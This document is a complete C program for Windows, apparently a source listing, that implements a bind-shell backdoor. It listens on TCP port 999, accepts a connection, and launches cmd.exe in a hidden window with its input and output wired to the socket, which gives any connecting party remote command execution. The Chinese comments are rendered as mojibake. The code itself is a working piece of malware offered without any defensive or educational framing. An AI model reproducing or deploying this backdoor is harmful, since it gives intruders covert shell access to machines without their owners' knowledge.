1 | #pragma comment(lib, "ws2_32.lib")
|
---|
2 | #include <winsock2.h>
|
---|
3 | #include <windows.h>
|
---|
4 |
|
---|
5 |
|
---|
6 | #define MasterPort 999 //¶¨Òå¼àÌý¶Ë¿Ú999
|
---|
7 | int main() //Ö÷º¯ÊýÈë¿Ú
|
---|
8 | {
|
---|
9 | WSADATA WSADa;
|
---|
10 | sockaddr_in SockAddrIn;
|
---|
11 | SOCKET CSocket,SSocket;
|
---|
12 | int iAddrSize;
|
---|
13 | PROCESS_INFORMATION ProcessInfo;
|
---|
14 | STARTUPINFO StartupInfo;
|
---|
15 | char szCMDPath[255];
|
---|
16 | //·ÖÅäÄÚ´æ×ÊÔ´£¬³õʼ»¯Êý¾Ý£º
|
---|
17 | ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
|
---|
18 | ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
|
---|
19 | ZeroMemory(&WSADa, sizeof(WSADATA));
|
---|
20 | //»ñÈ¡cmd·¾¶
|
---|
21 | GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
|
---|
22 | //¼ÓÔØws2_32.dll£º
|
---|
23 | WSAStartup(0x0202,&WSADa);
|
---|
24 | //ÉèÖñ¾µØÐÅÏ¢ºÍ°ó¶¨ÐÒ飬½¨Á¢socket£¬´úÂëÈçÏ£º
|
---|
25 | SockAddrIn.sin_family = AF_INET;
|
---|
26 | SockAddrIn.sin_addr.s_addr = INADDR_ANY;
|
---|
27 | SockAddrIn.sin_port = htons(MasterPort);
|
---|
28 | CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
|
---|
29 | //ÉèÖð󶨶˿Ú999£º
|
---|
30 | bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
|
---|
31 | //ÉèÖ÷þÎñÆ÷¶Ë¼àÌý¶Ë¿Ú£º
|
---|
32 | listen(CSocket,1);
|
---|
33 | iAddrSize = sizeof(SockAddrIn);
|
---|
34 | //¿ªÊ¼Á¬½ÓÔ¶³Ì·þÎñÆ÷£¬²¢ÅäÖÃÒþ²Ø´°¿Ú½á¹¹Ì壺
|
---|
35 | SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
|
---|
36 | StartupInfo.cb = sizeof(STARTUPINFO);
|
---|
37 | StartupInfo.wShowWindow = SW_HIDE;
|
---|
38 | StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
---|
39 | StartupInfo.hStdInput = (HANDLE)SSocket;
|
---|
40 | StartupInfo.hStdOutput = (HANDLE)SSocket;
|
---|
41 | StartupInfo.hStdError = (HANDLE)SSocket;
|
---|
42 | //´´½¨ÄäÃû¹ÜµÀ£º
|
---|
43 | CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
|
---|
44 | WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
|
---|
45 | CloseHandle(ProcessInfo.hProcess);
|
---|
46 | CloseHandle(ProcessInfo.hThread);
|
---|
47 | //¹Ø±Õ½ø³Ì¾ä±ú£º
|
---|
48 | closesocket(CSocket);
|
---|
49 | closesocket(SSocket);
|
---|
50 | WSACleanup();
|
---|
51 | //¹Ø±ÕÁ¬½ÓжÔØws2_32.dll
|
---|
52 | return 0;
|
---|
53 | }
|
---|